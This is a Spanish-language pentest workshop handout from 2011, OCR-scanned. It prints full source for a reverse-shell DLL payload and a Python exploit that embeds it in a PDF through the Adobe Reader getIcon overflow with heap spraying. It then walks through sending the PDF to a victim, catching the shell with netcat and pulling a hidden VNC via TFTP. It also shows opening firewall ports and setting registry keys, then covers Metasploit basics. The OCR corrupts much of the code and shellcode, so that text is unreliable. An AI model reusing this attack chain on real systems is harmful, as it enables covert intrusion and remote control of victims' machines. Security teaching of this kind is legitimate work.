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+* Presentacion

Todos sabemos la cantidad de campos que abarcan las nuevas tecnologias y lo
rapido que avanzan, su funcién es la de facilitarnos el trabajo diario, optimizando
procesos y ayudandonos a obtener un control sobre el medio lo mas cercano posible a la
total comprension de lo que ocurre a nuestro alrededor y asi poder tener una respuesta
rapida a eventos que de no solventarlos pueden incurrir negativamente en el desarrollo
de nuestro trabajo diario.

Tenemos que ser conscientes que en los tiempos que corren de crisis econémica
los presupuestos dedicados al departamento tecnolégico no son excesivamente
elevados, por lo que las partidas suelen destinarse a cubrir el nicleo de negocio dejando
a un lado aplicaciones de control de seguridad de la informacion.

Desde mi punto de vista el uso de software libre en procesos de monitorizacion y
control puede ser un buen método de paliar estos déficits.

Hoy en dia la seguridad de la informacion estd en boca de todos, amparados por
una ley como la lopd y su real decreto rlopd, somos conscientes que hay que securizar
nuestro entorno para proteger nuestro valor de negocio que es la informacion.

Para ello ya no es suficiente, tener un firewall instalado, o un antivirus
actualizado, hace falta algo mas, no pretendo que uno se ponga a securizar de repente
invirtiendo grandes cantidades de dinero, lo que pretendo es que tomemos consciencia
de lo que tenemos que securizar primero, que parte de nuestra informacion es vital y
como debemos protegerla.

En este proceso de concienciacion debemos tener claro en que punto nos
encontramos, para ello el objetivo de este taller es obtener todo tipo de informacion para
hacernos nuestro mapa de red y poder comprobar que puntos son vulnerables de ser
atacados y en que medida pueden afectar a nuestra informacion.

Este mapa de red nos ayudara a tener un vision clara de nuestro sistema, a partir
de aqui depende de la voluntad y teson personal.
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Ataque manual vs Herramientas automaticas

El método tradicional anteriormente usado ha sido el crear o aprovechar un
exploit generalmente escrito en lenguaje C 1 que afectaba a cierta vulnerabilidad en un
sistema,

Aprovecharlo para acceder a este 1 ganar privilegios para obtener control total.

A veces la tarea era ardua complicada i lenta, hoy en dia existen herramientas
que facilitan el trabajo.

Empezaremos con mostraros como aprovechar un exploit para acceder a un
equipo, sin de momento usar metasploit, para poder comparar y ver la potencia de la
herramienta

La vulnerabilidad que vamos a explotar afecta al software adobe reader en sus
versiones 8.1.2 y 9.0, y fue publicada el 18 de marzo de 2009 y afecta todas las
plataformas.

Conocida como adobe geticon esta vulnerabilidad aprovecha el desbordamiento
de buffer en la pila al no controlar los argumentos que se pasan al método “geticon”

Rebuscando, encuentro el payload que inyecta una shell remota al sistema
infectado junto con el exploit hecho en pyton el cual inyecta el payload en un pdf
utilizando una tecnica conocida como “heap Spraying”

El payload llamado evil payload.c genera un socket que abrira la conexion a la
ip y puerto que informemos.

/* evil_payload.c, reverse remote shell as a DLL

* HOWTO compile with MSVC++:

* ¢l /LD evil_payload.c

* [Coromputer] raised from the ashes.

*23/06/2009 - Created by Ivan Rodriguez Almuina (kralor).All rights reserved.
*/

#include <winsock2.h>
#include <windows.h>

#pragma comment(lib, "ws2_32")
#pragma comment(lib, "user32")

#define HOST "192.168.1.59"
#define PORT 6666
#define COMMAND "cmd"

void payload(void)

{
PROCESS_INFORMATION pi;
STARTUPINFO si;
struct sockaddr_in sin;
SOCKET s;
WSADATA wsa;
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if(WSAStartup(0x0101, &wsa) !=0) {
return;

}

sin.sin_port = htons(PORT);

sin.sin_family = 0x02;

sin.sin_addr.s_addr = inet_addr(HOST);

if((s = WSASocket(0x02,0x01,0x00,0x00,0x00,0x00))==INVALID_SOCKET) {
return;

}

if((connect(s, (struct sockaddr *) &sin, 0x10)) ==-1 ){
return;

}
memset((char*)&si, 0, sizeof(si));
si.chb = 0x44;

si.dwFlags = 0x101;

si.hStdInput = (void *)s;
si.hStdOutput = (void *)s;
si.hStdError = (void *)s;

if(!CreateProcess(0x00, COMMAND, 0x00, 0x00, 0x01, 0x00, 0x00, \
0x00,&si, &pi)) {
return;

}

CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
closesocket(s);

WSACleanup();
/* TerminateProcess(GetCurrentProcess(), 0xff); */
return;

}

void CustomMessageBox(void)

char msg[] = "Adobe Reader could not open the file because it is either "\

""not a supported file type or because the file has been damaged (for " \
"example, it was sent as an email attachment and wasn't correctly decoded).";
MessageBox(0, msg, "Adobe Reader", MB_OK | MB_ICONINFORMATION);
return;

}

BOOL APIENTRY DIIMain(HANDLE hModule,
DWORD ul_reason,
LPVOID IpReserved)

{

intr;

switch (ul_reason)
{

case DLL. PROCESS_ATTACH:

CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)CustomMessageBox, \
NULL, 0, &r);

payload();
break;

case DLL_ THREAD_ATTACH:
break;

case DLL_ THREAD_DETACH:
break;

case DLL. PROCESS_DETACH:
break;

}
return TRUE;

Las herramientas necesarias a recopilar son la siguientes:
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Evil payload.c
Evil pdf.py

#!/usr/bin/env python

#

# *** Acrobat Reader - Collab getIcon universal exploiter ***

# evil_pdf.py, tested on Operating Systems:

# Windows XP SP3 English/French

# Windows 2003 SP2 English

# with Application versions:

# Adobe Reader 9.0.0/8.1.2 English/French

# Test methods:

# Standalone PDF, embedded PDF in Firefox 3.0.13 and Internet Explorer 7
# 24/06/2009 - Created by Ivan Rodriguez Almuina (kralor). All rights reserved.
# [Coromputer]| raised from the ashes.

#

from sys import argv
from struct import pack

_XREF_POS =724

_PDF_TEMPLATE =\

"% %PDF-1.1\n\n1 0 obj\n<<\n /Type /Catalog\n /Outlines 2 0 R\n /Pages 3 0 R\n "\
"/OpenAction 7 0 R\n>>\nendobj\n\n2 0 obj\n<<\n /Type /Outlines\n /Count 0\n>" \
">\nendobj\n\n3 0 obj\n<<\n /Type /Pages\n /Kids [4 0 R]\n /Count 1\n>>\nendo" \
"bj\n\n4 0 obj\n<<\n /Type /Page\n /Parent 3 0 R\n /MediaBox [0 0 612 792]\n " \
"/Contents 5 0 R\n /Resources <<\n /ProcSet [/PDF /Text]\n "\

" /Font<</F16 0 R>>\n >>\n>>\nendobj\n\n5 0 obj\n<</Leng" \

""th 98 >>\nstream\nBT /F1 12 Tf 100 700 Td 15 TL (—=[Coromputer]| All yOur 0dA" \
"yZ Ar3 BeLOng 2 uS [Coromputer]=-) Tj ET\nendstream\nendobj\n\n6 0 obj\n<<\n""\
" /Type /Font\n /Subtype /Typel\n /Name /F1\n /BaseFont /Helvetica\n /Encodin" \

"¢ /MacRomanEncoding\n>>\nendobj\n\n7 0 obj\n<<\n /Type /Action\n /S /JavaScr" \
"ipt\n /JS (%s)\n>>\nendobj\n\nxref\n0 8\n0000000000 65535 f\n0000000010 000" \
""00 n \n0000000098 00000 n \n0000000147 00000 n \n0000000208 00000 n \n000000" \
'"0400 00000 n \n0000000549 00000 n \n0000000663 00000 n \ntrailer\n<<\n /Size" \

" 8\n /Root 1 0 R\n>>\nstartxref\n%d\n% % % %EOF\n"

_JS_PAYLOAD="""

var dll_payload = unescape(" %s");

var shellcode = unescape(" %s");

garbage = unescape(" % %u9090% %u9090% %u9090 % %u9090% %u9090% %u9090% %u9090");

while (garbage.length < 0x100)
garbage += garbage;

garbage += shellcode + dll_payload;
nopblock = unescape(" % %u9090%%u9090");
headersize = 16;

acl = headersize + garbage.length;

while (nopblock.length < acl)
nopblock += nopblock;

fillblock = nopblock.substring(0, acl);
block = nopblock.substring(0, nopblock.length - acl);
while(block.length + acl < 0x26000)

block = block + block + fillblock;

memory = new Array();

for (i=0;i<1024;i++)
memory|i] = block + garbage;

var buffer = unescape(" % %10%%10%%10% %1{");

while(buffer.length < 0x6000)
buffer += buffer;

app.doc.Collab.getlcon(buffer+'pwn3D.BYkralor');

nun

_XORER =\
"\xeb\x02\xeb\x05\xe8\xfO\xfAAx fA\xf\x5b\x83\xc3\x10\x33\xc9\x66" \
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"\xb9" \
"%s" \
"\x80\x33\x95\x43\xe2\xfa"

_SHELLCODE =\
"x14\x51\x5d\x95\x95\x95\x1e" \
"x79\x1e\x61\xc0\xc3\xf1\x34\xa5\x95\x95\x95\x 1 e\xd5\x99\x1e\xe5" \
"\x89\x38\x1e\xfd\x9d\x1e\x50\xcb\xc8\x1¢\x93\x7c\xal\x94\x95\x95" \
"\xed\xd5\x1c\xd3\x81\x1e\x79\x14\x79\xc5\x97\x95\x95\x6a\xa3\xfd" \
"xa6\x5f\x1f\xce\x7d\x56\x95\x95\x95\x18\x00\x55\x68\x6a\x6a\xc7" \
"\xfd\x95\x94\x95\x95\x6a\x45\x6a\xa3\xfd\xad\xb7\x39\x72\x7d\x3¢" \
"\x95\x95\x95\x18\x00\x5d\x6b\x6a\x6a\xc7\xff\x95\x52\xd0\x6d\xc5" \
"xc2\xdb\xd1\x18\xc8\x6d\xc6\x18\x18\x55\x68\x6a\x6a\xc4\x6a\x45" \
"x6a\xa3\xfd\x30\x82\x95\xe9\x 7d\x15\x95\x95\x95\xa6\x5c\xc4\xfd" \
"x15\x95\x95\x95\x f\x97\xc4\xc4\xfd\x95\x95\x95\x55\x 18\x00\x5d" \
"\x6b\x6a\x6a\xc7\x6a\x45\x1¢c\xd0\x65\x52\x10\x59\x68\x6a\x6a\xa6" \
"\xe7\x95\x95\x6a\xa3\xfd\x8a\xec\x9f\x7d\x7d\xd8\x95\x95\x95\xff"" \
"\x95\x18\xc8\x69\xc6\xfd" \
"% s" \
"\x7¢\x0f\x95\x95\x95\xce" \
"\xc4\x1e\xc0\x65\xc7\x6a\x45\x6a\xa3\xfd\x6e\x02\x68\x9a\x7d\xbc" \
"x95\x95\x95\x 1 e\xc8\x65\xc6\x6a\x45\x6a\xa3\xfd\x1b\xdb\x9b\x79" \
"x7d\x82\x95\x95\x95\x 18\x00\x5d\x6b\x6a\x6a\xc7\x6a\x45\x6a\xa3" \
"\xfd\x7a\x5b\x75\xf5\x7d\x97\x95\x95\x95\x6a\x45\xc6\xcO\xc3\xc2" \
"\x1e\xf9\xb1\x8d\x1e\xd0\xa9\x1e\xc1\x90\xed\x96\x40\x1e\xdf\x8d"" \
"\x1e\xcf\xb5\x96\x48\x76\xa7\xdc\x1e\xal\x1e\x96\x60\xa6\x6a\x69" \
"\xa6\x55\x39\xaf\x51\xe1\x92\x54\x5a\x98\x96\x6d\x7e\x67\xae\xe9" \
"\xb1\x81\xe0\x74\x1e\xcf\xb1\x96\x48\xf3\x1e\x99\xde\x1e\xcf\x89" \
"\x96\x48\x1e\x91\x1e\x96\x50\x7¢e\x97\xa6\x55\x1e\x40\xca\xcb\xc8" \
"\xce\x57\x91\x95\x7d\x52\x6b\x6a\x6a\x7d\xf4\x6a\x6a\x6a"

def banner():
print
print' —=[Crpt] Acrobat Reader - Collab getIcon univeral exploiter [Crpt]=-'
print' created by Ivan Rodriguez Almuina aka kralor !
print’' 2009 all rights reserved !
print' Coromputer Coromputer '
print
def syntax():

print 'syntax: %s <out_pdf> <in_dlI>' % argv[0]

def s_conv_hexunicode(s):
hexunicode ="'
for i in xrange(0, len(s), 2):
try:
hexunicode +='%%u%02x%02x' % (ord(s[i+1]), ord(s[i]))
except:
hexunicode +='%%u05%02x' % (ord(s[i]))
break

return hexunicode

def main():
banner()

if len(argv) !=3:
syntax()
return

print '[-] Creating PDF file \'%s\' DLL file \'%s\'...' %\
(argv]1], argv[2])

fp_out = open(argv|[1], 'wb")

fp_dll = open(argv]|2], 'rb")

print '[-] Reading DLL data ...'
dll_data = fp_dll.read()
fp_dll.close()

print '[-] Preparing payload (javascript+shellcode+dll) ...'

js_code =_JS PAYLOAD % (s_conv_hexunicode(dll_data), \
s_conv_hexunicode(_XORER % pack('<H', (len( SHELLCODE) +\
((len(_SHELLCODE)+en(_XORER)) % 2)+2)) +\
_SHELLCODE % pack('<I', len(dll_data)"0x95959595)))
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print '[-] Writing PDF file \'%s\' with payload inside ...' % argv[1]
fp_out.write( PDF_TEMPLATE % (js_code, len(js_code) + _XREF_POS))
fp_out.close()
print '[+] Done, [Coromputer] is alive! alive!'
if _name =='_ main__":
try:
main()
except KeyboardInterrupt:
print 'ctrl-c, leaving ...'

Python-2.6.2.msi
Vcesetup.exe (Visual C++ 2008 express)

Lo primero que haremos sera compilar evil payload.c una vez modificada la ip por
nuestra direccion ip 192.168.1.59

Indicaremos que se conecte por el puerto 6666
Compilamos el exploit

cl /LD evil_payload.c

eystemI2WCMD.exe

C:~PRUEBACONCEFT O~ proyectoS~PDFEXPLOIT >dir evil payload.c
El volumen de la wunidad C no tiene etigueta.
El nimero de serie del volumen es: 6B67-E7C?

Directorio de C:~PRUEBACONCEFTO~proyectoS5S“PDFEXPLOIT
bi-83-2618 @%9:19 2.17%6 evil_payload.c

1 archivos 2.176 hytes
B dirs 56.209.944.576 bytes libres

C =“PRUEBACONCEPT 0~provectoS“\PDFEXPLOIT>c1 ~LD evil_pavload.c
Microsoft (R} 32-hit C/C++ Optimizing Compiler Uersion 12.88.8168 for 80xB6
Copyright <(C> Microsoft Corp 1784-1998. All rights reserved.

evil pavload.c
Microsoft (R} Incremental Linker UVersion 6.80.8168
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

souttevil_payload.dll
d11

evil_pavload.obj

C :~PRUEBACONCEPTO\provecto5~PDFEXPLOIT >

Compilacién programa en C

Como se ve en la imagen el payload nos crea la dll preparada para inyectar en el pdf
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CIWIHDOWS 'systemn32'CMD.exe

C =~ FRUEBACONCEFTO“proyectoS“\PDFEXFLOIT >evil pdf .py verano2@lB.pdf evil payload.d
11

—=[Crpt] Acrobhat Reader — Collabh getlcon univeral exploiter [Crptl=—
created by Ivan Rodriguez fAlmuina aka kralor
2807 all rights reserved

Covo mput B L T S OISO (V2 I'llpl.lt er

Creating PDF file ‘verano2@i@.pdf’ DLL file ‘evil payload.dll’ ...
Reading DLL data ...

Preparing payload {javascript+shellcode+dll> ...

Writing PDF file 'verano2B8iB.pdf’ with payload inside ...

Done. [Coromputer] is alive?! alive?

S PRUEBACONCEFTONproyectoS~\PDFEAPLOIT >

Ejecucion exploit evil_pdf.py

Lo siguiente sera ejecutar el exploit
Evil pdf.py verano2010.pdf evil payload.dll
El exploit nos inyectard la dll evil payload.dll en verano2010.pdf

En este punto ya tenemos el pdf preparado para enviarselo a la victima para su
ejecucion, antes perd debemos dejar a la escucha por el puerto 6666 a nuestro equipo,
esto podemos realizarlo con nectat o crypcat.
Su uso es muy simple ejecutamos nc —vvlp 6666

DOWS isystemn32iemd.exe - nc -vvlp G666

Microsoft Windows XP [Uersion 5.1.26881
(G} Copyright 1985-2001 Microsoft Corp.

C:~Documentszs and SettingssAdministrador>cd -
C:~>cd COPIAUSE

C:“~COPIAUSBE>nc —wulp 666G
liztening on [any] 6666 ...

Puesta en escucha de netcat
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Ahora explotaremos el exploit con nuestra maquina virtual

& Inicio E o« zs

Fichero generado con el exploit incrustado

Una vez ejecutado el exploit al cliente le sale una error provocado para despistar

Adobe Reader

] Adobe Reader could not open the file because it is either nat a supported file type or
\l) because the file has been damaged (for example, it was sent as an email attachment
and wasn't correctly decoded),

&' Inicio |- Adobe Reader E « s

Mensaje de distraccion

Pero en nuestra consola ha pasado lo siguiente:
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WIHDOWS 'systemn32.cmd.exe - nc -vvlp 6666

listening on [anyl 6666 ...

connect to [192.168.1.5%21 from UICTIMA [192_.168.1.801 1836
Microsoft Windows XP [Uersidn 5.1.260801

(C» Copyright 1985%-208081 Microsoft Corp.

IC:~Documents and Settings“~Admninistrador~Escritorioripconfig
ipconfig

Configuraci¥sn IP de YWindows

Adaptador Ethernet Conexi¥#n de Brea local

Sufijo de conexi¥n espec?fica DNS :
Divecci®n IP. . . . . . . . . . . @ 192.168.1.88
MBscara de subred . . . . . . . . = 255.255.255.8@
Puerta de enlace predeterminada H

IC:~Documents and Settings“Administrador~Escritorior_

Conexion remoto realizada con exito

Como podeis ver nos ha devuelto una consola en la cual podemos ejecutar
ordenes remotas

Hasta aqui ya hemos accedido al equipo pero nos interesa poder visualizar lo que
hace o movernos en modo grafico, el siguiente paso sera descargarnos de nuestro equipo
los archivos necesarios para conectarnos visualmente al equipo.

Lo primero es dejar a la escucha nuestro servidor de tftp

%z TFTPD32 by Ph. Jounin

B ase Directory |I::hF'F| JEBACOMCEPT O proyect Browse

Server interface |192.155,1,59 ﬂ Shaw Dir

Current &ction |Listening on port 59

About | Settingz | Help

Servidor tftp a la escucha

Y en settings le indicamos el directorio de donde nos descargaremos los ficheros
necesarios
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% Titpd32: Settings x|

— SecLrity Server configuration——————————
" None Timeout [seconds] |3
& Standard M ax Retransmit IE—
= High Titp port |59—

— Basze Directory
IE: YPRUEBACONCERTOprovectoShdownload

Browse |

—Adwvanced Options
[ Hide wWindow at startup

[T Create "dirtat" files
[~ Beep for long tranfert

v Option negatiation
¥ Show Progress bar

[ Translate Unix file names

TALLER AUDITORIA'Y PENTEST 2011

I™ Activate Tfpd32 on this interface |152165.1 59 -]
[ Use anticipation window of IEI Bytes
(] I Drefault | Help | Cancel |
Pantalla configuracién tftp32

& download !E x|
Archivo  Edicion  Wer  Fawaoritos  Herramientas  Ayuda | ﬂ"
J Atras - J - l.@ pBL'lsqueda [{ Carpetas & |5 x n | v
Direccidn |@ CHPRUEBACONCEPTO proyveckoS download j Ir

YMCHooks. dl
3325
YMC hooks DLL For Win32

WiNYMC exe
MHC server For Win32
Clivetti & Oracle Research Lab

&

regnow . bat
Archivo por lobes M3-D03
1 KB

Vnc modificado

Para conectarnos visualmente al equipo remoto utilizaremos el vnc pero con una
version modificada para que no muestre en el menu de tareas el icono de conexion

habitual de vnc.

En el equipo remoto y mediante la consola de comandos crearemos el directorio

a descargar los ficheros

Cd\
Md vne
Cd vne

Nos descargaremos los ficheros con:

tftp —i 192.168.1.59 get winvnc.exe

tftp —i 192.168.1.59 get vnchooks.exe

tftp —i 192.168.1.59 get omnithreat_rt.dll
tftp —i 192.168.1.59 get regnow.bat

0
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en CrWIHDOWS'systemn32iemnd.exe - nc -vvlp G666

C:wnc>tftp —i 192.168.1.57? get winvnc.exe
tftp —i 192.168.1.59 get winvnc.exe
Transferencia terminada: 188416 hytes en 1 segundo. 188416 bytes/s

C:swnc>tftp —i 192.168.1.5? get vnchooks.dll
tftp —i 192.168.1.59 get vnchooks.dll
Transferencia terminada: 11264 bytes en 1 segundo,. 11264 hytesss

Cwnc>tftp —i 192.168.1.5? get omnithread »rt.dll
tftp —i 192.168.1.59 get omnithread_»rt.dll
Transferencia terminada: 46888 bytes en 1 segundo, 46888 hytes./s

C=swnc>tftp —i 192.168.1.52 get regnow.bat
tftp —i 192.168.1.59 get regnow.hat
Transferencia terminada: 9808 bytes en 1 segundo, 788 hytesss

C:unc >

Subida de Vnc al equipo remoto

Si el cliente tiene habilitado el firewall afiadiremos una excepcion a la regla para
permitir la conexion remota.

netsh firewall add portopening tcp 5800 hack
netsh firewall add allowedprogram c:\vnc\winvnc.exe hack2 ENABLE

CWINDOWS system32icmd.exe - nc -vvlp 6666

C:vncrnetsh firewall add allowedprogram c:swnchwinuvnc.exe hack2 EMABLE
netsh firewall add allowedprogram c:>uncwwinvnc.exe hack2 ENABLE
Aceptar

C:~vnc>netsh firewall add portopening tecp 5888 hack
netsh firewall add portopening tcp 5888 hack

Abrimos el puerto vnc en el firewall de Windows

El equipo remoto quedaria de la siguiente forma:

B — &= % Centro de seguridad &%
|77; General Excepciones | Opciones avanzadas | Ayude a proteger su equipo |l
E |

| DI Firewal de Windows est blogueands las conesiones de red entiantes a xcepign =
" delos piogiamas ¥ servicios especificados s confinuacion. 5i agiega excepeianes,
[ algunas programas funcionardn mejar, pero & puede aumentar ¢l nesgo de seguridad.
\

© Activado | =

Progiamas y servicios: Il de rindows le ayuda 2 proteger su equips contra
E qué forma me ayuda un servidor de sequridad a

Nombre
[ Asistencia remota

Compattir archives e impresoras
[IEntoino UPnP*

M Esciitorio remato naticas © Activado ¥
hack
hackZ

© Mo encontrado | 2

Modificar un programa L este equipo, Los antivirus le ayudan a proteger su

seguriclad. Haga clic sn Recomendaciones para ver

Puede permitr la comunicacion con este programa desde cualquier equipo, iDe qué Forma me avuda un antivirs a proteger m

inolusa aquélos en Intemet o e su red.

Nombre: [ hack2 amas de artivirus,

: Recomendaciones...
Fluts: |E'\vr\c\wlr\vr\c e _._____]

I s

n de seguridad para:

£ Cambiar mbito [ bcepr | Concelar
- '% automaticas
Aceptar Cancelar I
d.

& Ini [Z Panel de control W) Centro de ssquridad de ... ! « .

Puerto vnc abierto en el firewall de Windows
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Ahora debemos ejecutar el fichero de configuracion de vnc que hemos subido
para que afiada al registro una serie de configuraciones como por ejemplo la password
de connexion

HDOWS' \system32iemd.exe - nc -vvlp 6666

C:suncXregnow. bat

regnow .. hat

of f REG ADD HKEY_CURRENT_USER“Sof tware-0ORL
C:“vnc>REG ADD HKEY_CURRENT_USER-“Sof tware~0ORL-WinUNGC3
La operaci¥%n finaliz#% correctamente

C:~wnc>REG ADD HKEY_CURRENT_USER-Zof tware“~ORL-UWinUNC3 AutoPortSelect ~t REG_D
WORD »d 1 /f

La operaci¥n finaliz# correctamente

C:wnc>REG ADD HKEY_CURRENT_USER\Sof tware“ORL“WinUNC3 InputsEnabled ~t REG_DW
ORD ~d 1 ~f

La operaci¥n finaliz¥ correctamente

C:“wuwnc>REG ADD HKEY_CURRENT_USER-“Sof tware~0RL-WinUNGC3 OnlyPollConsole ~t REG
DUWORD ~d 1 ~f

La operaci¥n finaliz¥ correctamente

C:sunc>REG ADD HKEY_CURRENT _USER“Sof tware~0RL“WinUNG3 OnlyPollOnEvent ~t REG
DWORD ~d 8 ~f

La operaci¥%n finaliz#% correctamente

C:~wnc>REG ADD HKEY_CURRENT_USER-Sof tware~0RL-UWinUNC3 Pazsword ~t REG_BINARY
/d fdc46c68618ab996 ~F

La operaci¥n finaliz# correctamente

C:“vnc>REG ADD HKEY_CURRENT_USER“Sof tware~0ORL-WinUNGC3 PollForeground At REG_D)
WORD ~d 1 ~f

La operaci¥n finaliz¥ correctamente

C:sunc>REG ADD HKEY_CURRENT_USER\Sof tware~ORL“\WinUNC3 PollFullScreen ~t REG_D
WORD ~d 8 /f

La operaci¥n finaliz¥% correctamente

C:~uwnc>REG ADD HKEY_CURRENT_USER-Sof tware~0RL-WinUNGC3 FollUnderCursor ~t REG
DWORD ~d @ ~f

La operaci¥%n finaliz#% correctamente

C:~wnc>REG ADD HKEY_CURRENT_USER-Sof tware~0RL-UWinUNC3 SocketConnect -t REG_DU
ORD ~d 1 ~/f

La operaci¥n finaliz# correctamente

Ejecuciéon de regnow.bat para el registro de claves

Ejecutamos regnow.bat

Seguidamente iniciaremos la aplicacion servidora WINVNC.EXE con start winvnc.exe
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CIWIHDOWS 'systemnd2'cmd.exe - nc -vvip G666

"CLEAR" no se reconoce como un comando interno o externo.
programa o archivo por lotes ejecutahle.

C:Nunc >
C:»unc*start winunc.exe
start winuvnc.exe

C=~unc>

Inicio del servicio Winvnc en el equipo remoto

Ahora ya estamos es disposicion de ejecutar el cliente vnc para conectarnos.

Connection details E
“_ WHE semver Ok

Cancel

Ilze host:dizplay
2.0, shoopy: 2

Options...

Pl

Cliente de conexion a VNC

VHC Authentication El
w Session passward: |

Cancel

i

Solicitud de password en VNC
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Metasploit

% Conceptos Bdsicos.

Hd moore es un investigador de la seguridad, trabajo6 como director de
investigacion de la seguridad para los sistemas de breakpoint, también co-fund6 la
defensa de digital, actualmente trabaja como jefe de seguridad en la empresa Rapid7
http://www.rapid7.com/ dedicada a la seguridad informética y a la comercializacion de
la version profesional de metasploit framework, Hdmoore mantiene el proyecto original
opensource.

Metasploit es una herramienta de pentest para el desarrollo y ejecucion de
exploits destinada a auditar vulnerabilidades, fue desarrollada por HdMoore en el
verano del afio 2003

En el siguiente enlace puede comprobar las diferencias existentes entre la version free y
la de pago.

http://www.rapid7.com/products/metasploit/compare-and-buy.jsp.

La herramienta inicialmente fue escrita en lenguaje perl para posteriormente ser
reescrita en ruby.

Puedes descargarla desde http://www.metasploit.com/framework/download, esta
disponible para los sistemas operativos unix, Linux y Windows, a fecha de la
publicacion de este libro existe la version 3.5.1 del Framework

/= Metasploit Penetration Testing Framework - Downloads - Windows Internet Explorer

@T.j.v [+ hittp:ffunn metasploit, comyframeworkidownloadf =l*+| % | @8

Archivo  Edicion  Wer  Favoritos  Herramientas  Ayuda

- Favaritos | 55 % Sandboxie - Getting Started £ | Hotmail gratuto £ Mas complementas = @ Sitios sugeridos ~

=~ Metasploit Penstration Testing Framework - Downloads | | 3+ B - () s - Pagina~ Seguridad +  Herramien
- |
I HOME = FRAMEWORK EXPRESS PRO RESEARCH BLOG
Download Modules Gallery Support Canfribute About

Metasploit Framework 3.5.0
Wersion 3.5.0 is the latest stable release of the Metasploit penetration testing framework and the recommended starting point for

new users. Using the online update system, this version can be synchronized with the development tree to obtain the latest
exploits and payloads. Please see the Release Notes for more information about this version.

lus Java, PostgresqL, and Cansole2.
b1D66a3

ies plus Console2,

cies plus Console? {no updates).

Linux 32-bit
[PaP]

Ministure L dencies (no updates).
PGP i

Linux &4-bit installer including all dependencies.

Descarga de MetasploitFramework

% Pag 15
Bernabé Muifioz (bmm@reus.tinet.org)



TALLER AUDITORIA'Y PENTEST 2011

La herramienta en principio puede parecer un poco compleja, pero a medida que
nos vamos adentrando en la filosofia de su estructura nos ofrece un entorno lleno de
posibilidades.

Se accede mediante la interfaz msfconsole, un entorno Shell que nos permitira
realizar todas las opciones que nos brinda la herramienta, esta nos proporciona también
un entorno de acceso web mediante msfweb pero donde su funcionalidad no es
completa, existen limitaciones y tiende a desaparecer en las versiones posteriores.

Por lo tanto usaremos msfconsole, y como con cualquier herramienta de trabajo
tenemos que tenerla optimizada, empezaremos por actualizarla y ponerla al dia.

Una vez nos hemos descargado y ejecutado el instalador, se configuran
automaticamente los permisos necesarios para la base de datos y al cabo de un breve
periodo de tiempo ya estara lista para empezar, procederemos a actualizar metasploit
desde la consola msfconsole, ejecutando el siguiente comando

MSF > svn update ;

Actualizacién del producto

La consola nos indica de cuantos exploits, payloads, modulos auxiliares,
encoders y nops disponemos.

Metasploit dispone de una serie de comandos de los cuales mostraremos los mas

utilizados, para consultar todos los comandos usaremos el comando help el cual nos
mostrara todas las opciones disponibles.

Paso a mostrar los comandos mas utilizados.

MSF > version

Nos muestra la version del Framework y de la consola actualmente instalada.
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Version instalada

MSF > banner

Ademas de la version nos muestra datos sobre el nimero de exploits, payloads,
encoders y nops que tenemos disponibles.

mst » banner

## #i#
A R R SRR S A Pz s
R R HE RO g A
AR R R R R A #EoHE H
E dE R E R EE A L
#H d aE A bR e #H HdEE e
#H

Banner

MSF > Show all }

Muestra todos los modulos disponibles, (exploits, payloads, auxiliary, encoders, nops)

MSF > Show exploits ;

Muestra en pantalla todos los exploits de la base de datos existente.
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quid NTLM A

Exploits Disponibles

MSF > Show payloads

Un payload o carga util, es la accion que puede realizar un exploit cuando este
ha sido armado, las acciones pueden ser de muy diversa indole, tales como el acceso
remoto, la creacion de una cuenta de usuario con privilegios de Administrador, el
retorno de una shell remota, la instalacion de un servicio.

Cada payload tiene en metasploit unos parametros de configuracion que se
deben definir antes de armar el exploit.

Inline
t Inline

CP_Inline

nline
P Inline

TCP Inline

rmal B AN

Payloads disponibles

MSF > Show auxiliary

Los moddulos auxiliares son complementos que nos ayudan a detectar hosts
afectados por algun tipo de vulnerabilidad dependiendo de cual seleccionemos.

Metasploit ofrece una serie de modulos de descubrimiento, escaneo, ataque con
los que podremos buscar mediante escaners de vulnerabilidades en los sistemas
afectados para que posteriormente puedan ser explotados.
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tion Vulnerabilit;

Moédulos Auxiliares

MSF > Show encoders

Esta opcidn permite ver los encoders disponibles para codificar los exploits y asi
evitar ser detectados por las firmas antivirus.

=i Metasploit

File Edit Wiew Help

normal

umeric Mi

Ready 23x135

Encoders

MSF > Search

En ocasiones la lista de opciones que nos ofrece metasploit es interminable por
lo que nos vemos en la necesidad de filtrar la busqueda, search nos ayuda a acotar los
literales.

Msf> search flashplayer
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normal

Busqueda por literal

Tal como muestra la figura (25), search buscaré cualquier literal en el que salga
la palabra Flashplayer.

MSF > Use

Para poder seleccionar un exploit haremos uso del comando use

Msf> Use ruta del exploit/exploit

Seleccién de un exploit

MSF > Info

Info nos mostrard la informacion relativa al exploit seleccionado junto con los
parametros de configuracion

Msf> Info Windows/smb/ms08 067 netapi

Informacion de un exploit

Bernabé Muifioz (bmm@reus.tinet.org)
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MSF > show options ;

Nos mostrard una serie de parametros configurables en los exploits como en elos
payloads, estos, definen el equipo local, el equipo remoto, el puerto o el payload a
utilizar, y permiten configurar todo lo necesario para que el acceso pueda realizarse con
éxito.

atic Targeting

Opciones Disponibles

MSEF > Set

Con el comando set definiremos las opciones requeridas por los méddulos de
exploit, payload o scanner

Ejemplo:

Msf> Set lhost <valor a definir>

Targeting

Seleccion de variables

MSF > Back

Nos permite volver hacia atrds en los modulos para volver a seleccionar el que
mas nos interese.

MSF > Jobs

Nos muestra los trabajos activos, puede darse el caso de que tengamos que parar
un exploit y sigua existiendo el trabajo que nos bloquee la proxima ejecucion.
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MSF > Kill ]

Matara el Job seleccionado.

MSF > Exploit/run ]

Es el comando con el que ejecutaremos el exploit una vez tengamos
configuradas las opciones.

MSF > Exit

Saldré de la consola de metasploit

Estas serian las ordenes mas basicas, pero hay mas a las que consultar con el
comando help

A

’ Help menu
b b F
banner

< plugin
and To

plugin
ariahle

Comando help
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Funcionalidades de Metastploit

+%* Funcionalidades

Para comprender mejor el funcionamiento de metasploit realizaremos un
ejemplo donde seleccionaremos un exploit i lo ejecutaremos con dos payloads
diferentes para ver sus distintas funcionalidades.

El exploit que he seleccionado es el ms08 067 netapi donde os pongo un fragmento

obtenido de la base de datos de securityfocus sitio web dedicado a la publicacion de
vulnerabilidades y donde guardan una base de datos actualizada.

“Microsoft Windows is prone to a remote code-execution vulnerability that affects RPC (Remote Procedure Call) handling in the Server

service.

An attacker could exploit this issue to execute arbitrary code with SYSTEM-level privileges. Successful exploits will result in the
